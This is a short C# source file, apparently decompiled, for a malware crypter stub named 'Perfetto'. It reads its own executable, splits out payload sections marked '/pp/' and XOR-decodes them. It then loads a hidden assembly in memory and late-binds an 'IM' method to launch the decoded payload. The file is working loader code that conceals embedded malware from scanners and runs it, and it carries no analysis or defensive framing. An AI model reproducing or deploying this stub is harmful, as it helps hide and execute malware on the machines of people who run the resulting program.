using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
[StandardModule]
public sealed class Perfetto
{
static Perfetto()
{
}
public static string DL = Perfetto.Sandwich(Perfetto.SP()[2], "Micro");
public static Assembly assembly__2 = Assembly.Load(Encoding.Default.GetBytes(Perfetto.DL));
public static Type typo = Perfetto.assembly__2.GetType("PP.PP");
public static object myobject = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Perfetto.typo));
public static string[] SP()
{
string @string = Encoding.Default.GetString(File.ReadAllBytes(Assembly.GetEntryAssembly().Location));
return Strings.Split(@string, "/pp/", -1, CompareMethod.Binary);
}
[STAThread]
public static void Main(string[] args)
{
string bottle = Perfetto.SP()[1];
string s = Perfetto.Sandwich(bottle, "Micro");
byte[] array = Encoding.Default.GetBytes(s);
object arg_75_0 = Perfetto.myobject;
Type arg_75_1 = null;
string arg_75_2 = "IM";
object[] array2 = new object[]
{
array,
"A",
"_Start",
new object[0]
};
object[] arg_75_3 = array2;
string[] arg_75_4 = null;
Type[] arg_75_5 = null;
bool[] array3 = new bool[]
{
true,
false,
false,
false
};
NewLateBinding.LateCall(arg_75_0, arg_75_1, arg_75_2, arg_75_3, arg_75_4, arg_75_5, array3, true);
if (array3[0])
{
array = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(byte[]));
}
}
public static string Sandwich(string Bottle, string Joint)
{
StringBuilder stringBuilder = new StringBuilder();
int arg_11_0 = 0;
checked
{
int num = Bottle.Length - 1;
for (int i = arg_11_0; i <= num; i += 2)
{
int num2 = 0;
string value = Conversions.ToString(Strings.Chr((int)(Conversions.ToLong("&H" + Bottle.Substring(i, 2)) ^ unchecked((long)Strings.Asc(Joint[num2])))));
stringBuilder.Append(value);
if (num2 == Joint.Length - 1)
{
num2 = 0;
}
else
{
num2++;
}
}
return stringBuilder.ToString();
}
}
}